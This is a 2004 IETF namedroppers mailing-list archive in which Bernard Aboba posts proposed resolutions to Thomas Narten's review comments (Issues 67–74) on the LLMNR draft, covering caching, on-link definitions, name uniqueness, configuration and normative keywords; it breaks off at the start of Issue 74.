for ; Thu, 2 Sep 2004 10:37:05 -0700
Date: Thu, 2 Sep 2004 10:37:05 -0700 (PDT)
From: Bernard Aboba
To: namedroppers@ops.ietf.org
Subject: LLMNR Issue 67 (AD Review): Editorial issues
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
The list of current LLMNR issues and resolution is available here:
http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html
The text of Issue 67 is enclosed below. The proposed resolution is as
follows:
In Section 1 change:
" In the future, it may be desirable to consider use of multicast name
resolution with multicast scopes beyond the link-scope. This could
occur if LLMNR deployment is successful, the need arises for
multicast name resolution beyond the link-scope, or multicast routing
becomes ubiquitous. For example, expanded support for multicast name
resolution might be required for mobile ad-hoc networking scenarios,
or where no DNS server is available that is authoritative for the
names of local hosts, and can support dynamic DNS, such as in
wireless hotspots."
To:
"In the future, it may be desirable to consider use of multicast name
resolution
with multicast scopes beyond
the link-scope. This could occur if LLMNR deployment is successful,
the need arises for multicast name resolution beyond the link-scope, or
multicast routing becomes ubiquitous. For example, expanded support
for multicast name resolution might be required for mobile ad-hoc
networks. "
Accept all the other editorial modifications.
----------------------------------------------------------------------------
Issue 67: Editorial Issues
Submitter: Thomas Narten
Submitter email address: narten@us.ibm.com
Date first submitted: August 27, 2004
Reference:
Document: LLMNR-34
Comment type: E
Priority: S
Section: Various
Rationale/Explanation of issue:
> becomes ubiquitous. For example, expanded support for multicast name
> resolution might be required for mobile ad-hoc networking scenarios,
> or where no DNS server is available that is authoritative for the
> names of local hosts, and can support dynamic DNS, such as in
> wireless hotspots.
reword? sentence is hard to parse (especially last part).
> by an LLMNR responder. If the TC bit is set an LLMNR response,
s/an/in an/
> (e.g. A, AAAA, SRV, etc.) to the link-scope multicast address.
s/e.g./e.g.,/
> Upon configuring an IP address responders typically will synthesize
s/address/address,/
> 6.0.5.0.4.0.E.F.F.F.3.0.2.0.1.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2.
> ip6.arpa IN PTR host1.
> IN PTR host1.example.com.
Text should somehow indicate that the above is one line that had to
be split for formatting reasons...
> For UDP queries and responses the Hop Limit field in the IPv6 header,
s/responses/responses,/ and drop the last , ??
> The responder should use a pre-configured TTL value in the records
> returned an LLMNR response. A default value of 30 seconds is
s/an/in an/?
> The responder should use a pre-configured TTL value in the records
> returned an LLMNR response. A default value of 30 seconds is
s/use a/insert a/ ??
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 13:48:53 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA22795
for ; Thu, 2 Sep 2004 13:48:52 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2ven-000KyH-KB
for namedroppers-data@psg.com; Thu, 02 Sep 2004 17:45:57 +0000
Received: from [66.167.171.107] (helo=internaut.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2vec-000KwU-IX
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 17:45:46 +0000
Received: from localhost (aboba@localhost)
by internaut.com (8.10.2/8.10.2) with ESMTP id i82HdAr05524
for ; Thu, 2 Sep 2004 10:39:10 -0700
Date: Thu, 2 Sep 2004 10:39:10 -0700 (PDT)
From: Bernard Aboba
To: namedroppers@ops.ietf.org
Subject: LLMNR Issue 68 (AD Review): Caching
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
The list of current LLMNR issues and resolutions is found here:
http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html
The text of Issue 68 is found below. The proposed resolution is as
follows:
In Section 2.3, Change:
"Responders MUST NOT respond using cached data."
To:
"Responders MUST NOT respond using data from the LLMNR or DNS resolver
cache."
In Section 4, delete:
" Where a host is configured to issue LLMNR queries on more than one
interface, each interface should have its own independent LLMNR
cache. "
Add the following to Section 4.1:
" Where a host is configured to issue LLMNR queries on more than one
interface, each interface maintains its own independent LLMNR
resolver cache, containing the responses to LLMNR queries."
----------------------------------------------------------------------
Issue 68: Caching
Submitter: Thomas Narten
Submitter email address: narten@us.ibm.com
Date first submitted: August 27, 2004
Reference:
Document: LLMNR-34
Comment type: T
Priority: S
Section: Various
Rationale/Explanation of issue:
> [e] Responders MUST NOT respond using cached data.
add something like "learned from other LLMNR queries" (or DNS queries,
etc....)
> Where a host is configured to issue LLMNR queries on more than one
> interface, each interface should have its own independent LLMNR
> cache.
what exactly is in such a cache?
> [f] If a DNS server is running on a host that supports LLMNR, the DNS
> server MUST respond to LLMNR queries only for the RRSets relating
> to the host on which the server is running, but MUST NOT respond
> for other records for which the server is authoritative. DNS
> servers also MUST NOT send LLMNR queries in order to resolve DNS
> queries.
Might be better to say something like "if the same process/application
implements both LLMNR and DNS (e.g., for code sharing purposes),
.... the must keep things logically separate".
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 13:52:49 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA23201
for ; Thu, 2 Sep 2004 13:52:48 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2vho-000LTN-I4
for namedroppers-data@psg.com; Thu, 02 Sep 2004 17:49:04 +0000
Received: from [66.167.171.107] (helo=internaut.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2vhd-000LR3-9e
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 17:48:53 +0000
Received: from localhost (aboba@localhost)
by internaut.com (8.10.2/8.10.2) with ESMTP id i82HgGl05689
for ; Thu, 2 Sep 2004 10:42:16 -0700
Date: Thu, 2 Sep 2004 10:42:16 -0700 (PDT)
From: Bernard Aboba
To: namedroppers@ops.ietf.org
Subject: LLMNR Issue 69 (AD Review): On-Link
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
The list of current LLMNR issues and resolutions is found here:
http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html
The text of Issue 69 is enclosed below.
DISCUSSION
Other than in the definition in Section 1.2,
the term "reachable" is only used once in the document,
in Section 2.6 (Responder responsibilities):
[b] If an IPv4 address is returned, it MUST be reachable
through the link over which LLMNR is used.
Here the issue is whether a responder may return a particular
IPv4 address in a response. For that purpose it is not
relevant whether an ARP or NS/ND cache entry exists for
that address on the sender or responder. It is only
relevant whether the responder would respond to an
ARP or ND query for that address on the interface over
which the LLMNR query arrived.
PROPOSED RESOLUTION
The proposed resolution is as follows:
In Section 1.2, change:
Reachable
An address is considered reachable over a link if either an ARP or
neighbor discovery cache entry exists for the address on the link.
To:
Reachable
An LLMNR responder considers one of its addresses reachable
over a link if it will respond to an ARP or Neighbor Discovery
query for that address sent over the link.
In Section 2.5, change:
" For IPv4, an "on link" address is defined as a link-local address
[IPv4Link] or an address whose prefix belongs to a subnet on the
local link. For IPv6 [RFC2460] an "on link" address is either a
link-local address, defined in [RFC2373], or an address whose prefix
belongs to a subnet on the local link."
To:
" For IPv4, an "on link" address is defined as a link-local address
[IPv4Link] or an address whose prefix belongs to a subnet on the
local link. For IPv6 [RFC2460] an "on link" address is either a
link-local address, defined in [RFC2373], or one belonging to a prefix
that a Router Advertisement indicates is on-link [RFC2461]."
Add a normative reference to [RFC2461]:
Narten, T., Nordmark, E. and W. Simpson,
"Neighbor Discovery for IP Version 6 (IPv6), RFC 2461, December 1998.
------------------------------------------------------------------------
Issue 69: On-Link
Submitter: Thomas Narten
Submitter email address: narten@us.ibm.com
Date first submitted: August 27, 2004
Reference:
Document: LLMNR-34
Comment type: T
Priority: S
Section: Various
Rationale/Explanation of issue:
> Reachable
> An address is considered reachable over a link if either an ARP or
> neighbor discovery cache entry exists for the address on the link.
funny definition, since an ARP/ND entry might exists but be very old.
> For IPv4, an "on link" address is defined as a link-local address
> [IPv4Link] or an address whose prefix belongs to a subnet on the
> local link. For IPv6 [RFC2460] an "on link" address is either a
> link-local address, defined in [RFC2373], or an address whose prefix
> belongs to a subnet on the local link.
Actually 2461 has a very specific definition of on-link. It's one
where the RA says the prefix is "on link". This may in some cases be
different than what is stated above. There maybe a subtle limitation
here. 2461 allows routers to say "nothing is on link, send it to me",
even if it then forwards stuff back onto the same link. This feature
is not being used today, but might be used in the future.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 13:57:43 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA23698
for ; Thu, 2 Sep 2004 13:57:43 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2vkl-000ML8-QE
for namedroppers-data@psg.com; Thu, 02 Sep 2004 17:52:07 +0000
Received: from [66.167.171.107] (helo=internaut.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2vjX-000Lwg-Vs
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 17:50:52 +0000
Received: from localhost (aboba@localhost)
by internaut.com (8.10.2/8.10.2) with ESMTP id i82HiF505795
for ; Thu, 2 Sep 2004 10:44:15 -0700
Date: Thu, 2 Sep 2004 10:44:15 -0700 (PDT)
From: Bernard Aboba
To: namedroppers@ops.ietf.org
Subject: LLMNR Issue 70 (AD Review): Uniqueness
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
The list of current LLMNR Issues and resolutions is available here:
http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html
The text of Issue 70 is enclosed below. The proposed resolution is as
follows:
In Section 2.2, add:
" The sender MUST anticipate receiving multiple replies to the same
LLMNR query, in the event that several LLMNR enabled computers
receive the query and respond with valid answers. When multiple
valid answers are received, they may first be concatenated, and then
treated in the same manner that multiple RRs received from the same
DNS server would; the sender perceives no inherent conflict in the
receipt of multiple responses."
Add the following definition to Section 1.2:
UNIQUE
There are some scenarios when multiple responders may respond to the
same query. There are other scenarios when only one responder may
respond to a query. Resource records for which only a single
responder is anticipated are referred to as UNIQUE.
Resource record uniqueness is configured on the responder,
and therefore uniqueness verification is the responder's
responsibility.
Replace Section 4 with the following:
"4. Conflict resolution
The uniqueness of a resource record depends on a nature of the name
in the query and type of the query. For example it is expected that:
- multiple hosts may respond to a query for an SRV type record
- multiple hosts may respond to a query for an A or AAAA type
record for a cluster name (assigned to multiple hosts in
the cluster)
- only a single host may respond to a query for an A or AAAA
type record for a name.
By default, a responder SHOULD be configured to behave as though all
RRs are UNIQUE on each interface on which LLMNR is enabled. Prior to
including a UNIQUE resource record in a response, for each UNIQUE
resource record in a given interface's configuration, the host MUST
verify that there is no other host within the scope of LLMNR query
propagation that can return a resource record for the same name, type
and class on that interface. Once a responder has verified the
uniqueness of a UNIQUE resource record, if it receives an LLMNR query
for that resource record, it MUST respond.
To verify uniqueness, a responder MUST send an LLMNR query for each
UNIQUE resource record. If no response is received after a suitable
number of
attempts (see Section 2.7), the responder can use the UNIQUE resource
record in
response to LLMNR queries. If a response is received, the responder
MUST check whether the response arrived on an interface different
from the one on which the query was sent. If the response arrives on
a different interface, the responder can use the UNIQUE resource
record in response to LLMNR queries. If not, then it MUST NOT use
the UNIQUE resource record in response to LLMNR queries.
Uniqueness verification is carried out when the host:
- starts up or is rebooted
- wakes from sleep (if the network interface was inactive
during sleep)
- is configured to respond to LLMNR queries on an interface
enabled for transmission and reception of IP traffic
- is configured to respond to LLMNR queries using additional
UNIQUE resource records
- verifies the acquisition of a new IP address and configuration
on an interface
The name conflict detection mechanism doesn't prevent name conflicts
when previously partitioned segments are connected by a bridge. In
order to minimize the chance of conflicts in such a situation, it is
recommended that steps be taken to ensure name uniqueness. For
example, the name could be chosen randomly from a large pool of
potential names, or the name could be assigned via a process designed
to guarantee uniqueness.
When name conflicts are detected, they SHOULD be logged. To detect
duplicate use of a name, an administrator can use a name resolution
utility which employs LLMNR and lists both responses and responders.
This would allow an administrator to diagnose behavior and
potentially to intervene and reconfigure LLMNR responders who should
not be configured to respond to the same name."
----------------------------------------------------------------------
Issue 70: Uniqueness
Submitter: Thomas Narten
Submitter email address: narten@us.ibm.com
Date first submitted: August 27, 2004
Reference:
Document: LLMNR-34
Comment type: E
Priority: S
Section: Various
Rationale/Explanation of issue:
> Every responder that responds to an LLMNR query AND includes a UNIQUE
> record in the response:
This is an odd use/defn. of UNIQUE. UNIQUE depends on there being only
one response. The words here seem to say that the responder (if it
cares) needs to ensure this. But the wording is weak. When does a
responder care about a UNIQUE record? If not, it won't bother doing
any steps.
> [1] MUST verify that there is no other host within the
> scope of the LLMNR query propagation that can return
> a resource record for the same name, type and class.
What responder cares about this?
If you are trying to say that there are certain RRsets that must be
unique, then better just say that...
> cache. For each UNIQUE resource record in a given interface's
> configuration, the host MUST verify resource record uniqueness on
> that interface. To accomplish this, the host MUST send an LLMNR
> query for each UNIQUE resource record.
again, I sense that a UNIQUE RR is something that needs to be
configured. Are there words to that effect somewhere?
> record, the host MUST respond. After the client receives a response,
> it MUST check whether the response arrived on an interface different
> from the one on which the query was sent. If the response arrives on
> a different interface, the client can use the UNIQUE resource record
> in response to LLMNR queries. If not, then it MUST NOT use the
> UNIQUE resource record in response to LLMNR queries.
I'm confused. Is this part of the uniqueness verification algorithm?
It seems like the first sentence and the rest of the paragraph don't
quite go together.
> record, the host MUST respond. After the client receives a response,
Who is the client now? Is this not just requester?
> The sender MUST anticipate receiving multiple replies to the same
> LLMNR query, in the event that several LLMNR enabled computers
> receive the query and respond with valid answers. When this occurs,
> the responses may first be concatenated, and then treated in the same
> manner that multiple RRs received from the same DNS server would; the
> sender perceives no inherent conflict in the receipt of multiple
> responses.
Do you mean concatenate valid answers? it doesn't make sense to
concatenate various errors, ...
> There are some scenarios when multiple responders MAY respond to the
> same query. There are other scenarios when only one responder MAY
> respond to a query. Resource records for which the latter queries
MAY seems wrong here. MAY is not about implementation choices (when
you receive them...)
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 13:58:08 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA23779
for ; Thu, 2 Sep 2004 13:58:08 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2vnC-000Mph-73
for namedroppers-data@psg.com; Thu, 02 Sep 2004 17:54:38 +0000
Received: from [66.167.171.107] (helo=internaut.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2vn0-000MnR-RL
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 17:54:27 +0000
Received: from localhost (aboba@localhost)
by internaut.com (8.10.2/8.10.2) with ESMTP id i82Hlob06065
for ; Thu, 2 Sep 2004 10:47:50 -0700
Date: Thu, 2 Sep 2004 10:47:50 -0700 (PDT)
From: Bernard Aboba
To: namedroppers@ops.ietf.org
Subject: LLMNR Issue 71 (AD Review): Configuration
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
The list of current LLMNR issues and resolutions is available here:
http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html
The text of Issue 71 is enclosed below. The proposed resolution is as
follows:
In Section 2, change:
" [1] No manual or automatic DNS configuration has been
performed. If an interface has been configured with DNS
server address(es), then LLMNR SHOULD NOT be used as the
primary name resolution mechanism on that interface, although
it MAY be used as a name resolution mechanism of last resort."
To:
" [1] No manual or automatic DNS configuration has been
performed. If any interface has been configured with DNS
server address(es), then LLMNR SHOULD NOT be used as the
primary name resolution mechanism, although it MAY be used
as a secondary name resolution mechanism."
In Section 3.1, change:
"Unless unconfigured hosts periodically retry configuration, an outage in
the DNS configuration mechanism will result in hosts continuing to use
LLMNR even once the outage is repaired. Since LLMNR only enables
linklocal name resolution, this represents an unnecessary degradation in
capabilities. As a result, it is recommended that hosts without a
configured DNS server periodically attempt to obtain DNS configuration.
For example, where DHCP is used for DNS configuration, [RFC2131]
recommends a maximum retry interval of 64 seconds. In the absence of
other guidance, a default retry interval of one (1) minute is
RECOMMENDED."
To:
"An outage in the DNS configuration mechanism may result
in hosts continuing to use LLMNR even once the outage is repaired. Since
LLMNR only enables linklocal name resolution, this represents a
degradation in capabilities. As a result, hosts without a configured DNS
server may wish to periodically attempt to obtain DNS configuration if
permitted by the configuration mechanism in use. In the absence of other
guidance, a default retry interval of one (1) minute is
RECOMMENDED."
Change:
" For example, if the configured DNS server responds
to AAAA RR queries sent over IPv4 or IPv6 with an authoritative name error
(RCODE=3), then it will not be possible to resolve the names of IPv6-only
hosts. In this situation, LLMNR over IPv6 can be used for local name
resolution."
To:
" For example, if the configured DNS server responds to
all AAAA RR queries sent over IPv4 or IPv6 with an authoritative name
error (RCODE=3), then it will not be possible to resolve the names of
IPv6-only hosts. In this situation, LLMNR over IPv6 can be used for local
name resolution."
-------------------------------------------------------------------------
Issue 71: Configuration
Submitter: Thomas Narten
Submitter email address: narten@us.ibm.com
Date first submitted: August 27, 2004
Reference:
Document: LLMNR-34
Comment type: T
Priority: S
Section: Various
Rationale/Explanation of issue:
> [1] No manual or automatic DNS configuration has been
> performed. If an interface has been configured with DNS
> server address(es), then LLMNR SHOULD NOT be used as the
> primary name resolution mechanism on that interface, although
> it MAY be used as a name resolution mechanism of last resort.
DNS server addresses are not what I'd consider "per-interface"
information.
> Unless unconfigured hosts periodically retry configuration, an outage
> in the DNS configuration mechanism will result in hosts continuing to
> use LLMNR even once the outage is repaired. Since LLMNR only enables
> linklocal name resolution, this represents an unnecessary degradation
> in capabilities. As a result, it is recommended that hosts without a
> configured DNS server periodically attempt to obtain DNS
> configuration. For example, where DHCP is used for DNS
> configuration, [RFC2131] recommends a maximum retry interval of 64
> seconds. In the absence of other guidance, a default retry interval
> of one (1) minute is RECOMMENDED.
Again, this seems simplistic. You should not go back to your DHC
server every 64 seconds if has given you parameters other than DNS.
> For example, if the configured DNS server responds to AAAA RR queries
> sent over IPv4 or IPv6 with an authoritative name error (RCODE=3),
> then it will not be possible to resolve the names of IPv6-only hosts.
> In this situation, LLMNR over IPv6 can be used for local name
> resolution.
seems to narrow. Getting RCODE=3 for one query, can't be generalized
to say AAAA is not supported at all by that server.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 14:01:44 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA24200
for ; Thu, 2 Sep 2004 14:01:43 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2vqA-000NY2-Hc
for namedroppers-data@psg.com; Thu, 02 Sep 2004 17:57:42 +0000
Received: from [66.167.171.107] (helo=internaut.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2vpz-000NTE-4Y
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 17:57:31 +0000
Received: from localhost (aboba@localhost)
by internaut.com (8.10.2/8.10.2) with ESMTP id i82Hos506251
for ; Thu, 2 Sep 2004 10:50:54 -0700
Date: Thu, 2 Sep 2004 10:50:54 -0700 (PDT)
From: Bernard Aboba
To: namedroppers@ops.ietf.org
Subject: LLMNR Issue 72 (AD Review): MAYs
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
The list of current LLMNR issues and resolution is available here:
http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html
The text of Issue 72 is enclosed below. The proposed resolution is as
follows:
In Section 2.3, change:
"Responses SHOULD always be sent from the port to which they were
directed."
To:
"Responses MUST always be sent from the port to which they were directed."
In Section 2.3, change:
"If a responder is authoritative for a name, it MAY respond with RCODE=0
and an empty answer section, if the type of query does not match a RR
that the responder has."
To:
"If a responder is authoritative for a name, it SHOULD respond with
RCODE=0 and an empty answer section, if the type of query does not match
a RR that the responder has."
In Section 2.7, change:
" If an LLMNR query sent over UDP is not resolved within LLMNR_TIMEOUT,
then a sender MAY repeat the transmission of the query in order to
assure that it was received by a host capable of responding to it."
To:
" If an LLMNR query sent over UDP is not resolved within LLMNR_TIMEOUT,
then a sender SHOULD repeat the transmission of the query in order to
assure that it was received by a host capable of responding to it."
In Section 2.7, change:
" An LLMNR sender SHOULD dynamically compute the value of LLMNR_TIMEOUT
for each transmission. It is suggested that the computation of
LLMNR_TIMEOUT be based on the response times for earlier LLMNR
queries sent on the same interface.
For example, the algorithms described in RFC 2988 [RFC2988]
(including exponential backoff) compute an RTO, which is used as the
value of LLMNR_TIMEOUT. Smaller values MAY be used for the initial
RTO (discussed in Section 2 of [RFC2988], paragraph 2.1), the minimum
RTO (discussed in Section 2 of [RFC2988], paragraph 2.4), and the
maximum RTO (discussed in Section 2 of [RFC2988], paragraph 2.5).
Recommended values are an initial RTO of 1 second, a minimum RTO of
200ms, and a maximum RTO of 5 seconds."
To:
"An LLMNR sender SHOULD dynamically compute the value of LLMNR_TIMEOUT for
each transmission. For example, the algorithms described in RFC 2988 [RFC2988]
(including exponential backoff) compute an RTO, which is used as the
value of LLMNR_TIMEOUT. Smaller values MAY be used for the initial
RTO (discussed in Section 2 of [RFC2988], paragraph 2.1), the minimum
RTO (discussed in Section 2 of [RFC2988], paragraph 2.4), and the
maximum RTO (discussed in Section 2 of [RFC2988], paragraph 2.5).
Recommended values are an initial RTO of 500 ms, a minimum RTO of
100ms, and a maximum RTO of 5 seconds."
------------------------------------------------------------------------
Issue 72: MAYs
Submitter: Thomas Narten
Submitter email address: narten@us.ibm.com
Date first submitted: August 27, 2004
Reference:
Document: LLMNR-34
Comment type: T
Priority: S
Section: Various
Rationale/Explanation of issue:
> [b] Responders MUST direct responses to the port from which the query
> was sent. When queries are received via TCP this is an inherent
> part of the transport protocol. For queries received by UDP the
> responder MUST take note of the source port and use that as the
> destination port in the response. Responses SHOULD always be sent
> from the port to which they were directed.
SHOULD is no good here, unless you also specify what sender MUST do.
> [g] If a responder is authoritative for a name, it MAY respond with
> RCODE=0 and an empty answer section, if the type of query does not
> match a RR that the responder has.
why the MAY? Is this useful? What impact does this have on a recipient??
> As an example, a host configured to respond to LLMNR queries for the
> name "foo.example.com." is authoritative for the name
> "foo.example.com.". On receiving an LLMNR query for an A RR with the
> name "foo.example.com." the host authoritatively responds with A
> RR(s) that contain IP address(es) in the RDATA of the resource
> record. If the responder has a AAAA RR, but no A RR, and an A RR
> query is received, the responder would respond with RCODE=0 and an
> empty answer section.
above won't happen if [g] is only a MAY....
> If an LLMNR query sent over UDP is not resolved within LLMNR_TIMEOUT,
> then a sender MAY repeat the transmission of the query in order to
> assure that it was received by a host capable of responding to it.
MAY? Come on, this should be a SHOULD/MUST. It's hardly robust to do
this query exactly one time.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 14:02:55 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA24316
for ; Thu, 2 Sep 2004 14:02:54 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2vsF-000OFD-VO
for namedroppers-data@psg.com; Thu, 02 Sep 2004 17:59:51 +0000
Received: from [66.167.171.107] (helo=internaut.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2vs5-000OCz-0j
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 17:59:41 +0000
Received: from localhost (aboba@localhost)
by internaut.com (8.10.2/8.10.2) with ESMTP id i82Hr4706358
for ; Thu, 2 Sep 2004 10:53:04 -0700
Date: Thu, 2 Sep 2004 10:53:04 -0700 (PDT)
From: Bernard Aboba
To: namedroppers@ops.ietf.org
Subject: LLMNR Issue 73 (AD Review): RCODEs/TSIG/DNSSEC
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
The list of current LLMNR issues and resolutions is available here:
http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html
The text of Issue 73 is enclosed below. The proposed resolution is as
follows:
In Section 2.9 , change:
"Responders SHOULD NOT perform DNS additional section processing,
except as required for EDNS0 and DNSSEC."
To:
"In LLMNR, the additional section is only intended for use by EDNS0, TSIG
and SIG(0). As a result, senders MAY only include pseudo RR-types in the
additional section of a query; responders MUST ignore the additional
section of queries containing other RR types."
Change Section 5.4 to:
"LLMNR implementations MAY support TSIG and/or SIG(0) security mechanisms.
Since LLMNR does not support "delegated trust" (CD or AD bits), and
LLMNR senders are unlikely to be DNSSEC-aware, in practice LLMNR is not
compatible with DNSSEC.
Since LLMNR implementations MAY NOT support TSIG or SIG(0),
responses to LLMNR queries may be unauthenticated. If
authentication is desired, and a pre-arranged security configuration
is possible, then IPsec ESP with a null-transform MAY be used to
authenticate unicast LLMNR queries and responses or LLMNR responses
to multicast queries. In a small network without a
certificate authority, this can be most easily accomplished through
configuration of a group pre-shared key for trusted hosts."
---------------------------------------------------------------------------
Issue 73: RCODEs/TSIG/DNSSEC
Submitter: Thomas Narten
Submitter email address: narten@us.ibm.com
Date first submitted: August 27, 2004
Reference:
Document: LLMNR-34
Comment type: T
Priority: S
Section: Various
Rationale/Explanation of issue:
> LLMNR implementations MUST support EDNS0 [RFC2671] and extended
> RCODE values.
Is this necessary? Earlier, the spec says non-zero RCODEs must be
ignored. Isn't an EDNS0 extended RCODE by definition non-zero (I
couldn't quite tell from a quick check, but that would seem to be the
case.)
> Responders SHOULD NOT perform DNS additional section processing,
> except as required for EDNS0 and DNSSEC.
DNSSEC is a part of this?
> If an LLMNR responder is authoritative for the name in a multicast
> query, but an error is encountered, the responder SHOULD send an
> LLMNR response with an RCODE of zero, no RRs in the answer section,
> and the TC bit set. This will cause the query to be resent using
> TCP, and allow the inclusion of a non-zero RCODE in the response to
> the TCP query. Responding with the TC bit set is preferable to not
> sending a response, since it enables errors to be diagnosed.
Don't follow the above. "but an error" is general (not just for too
much data to fit in response). Why would requerying with TCP get a
better response?
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 14:03:26 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA24406
for ; Thu, 2 Sep 2004 14:03:26 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2vts-000OkP-2r
for namedroppers-data@psg.com; Thu, 02 Sep 2004 18:01:32 +0000
Received: from [66.167.171.107] (helo=internaut.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2vth-000OhM-73
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 18:01:21 +0000
Received: from localhost (aboba@localhost)
by internaut.com (8.10.2/8.10.2) with ESMTP id i82HsiO06447
for ; Thu, 2 Sep 2004 10:54:44 -0700
Date: Thu, 2 Sep 2004 10:54:44 -0700 (PDT)
From: Bernard Aboba
To: namedroppers@ops.ietf.org
Subject: LLMNR Issue 74 (AD Review): Partial Responses/TC Bit
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
The list of open and resolved LLMNR Issues is available here:
http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html
The text of Issue 74 is enclosed below. The proposed resolution is as
follows:
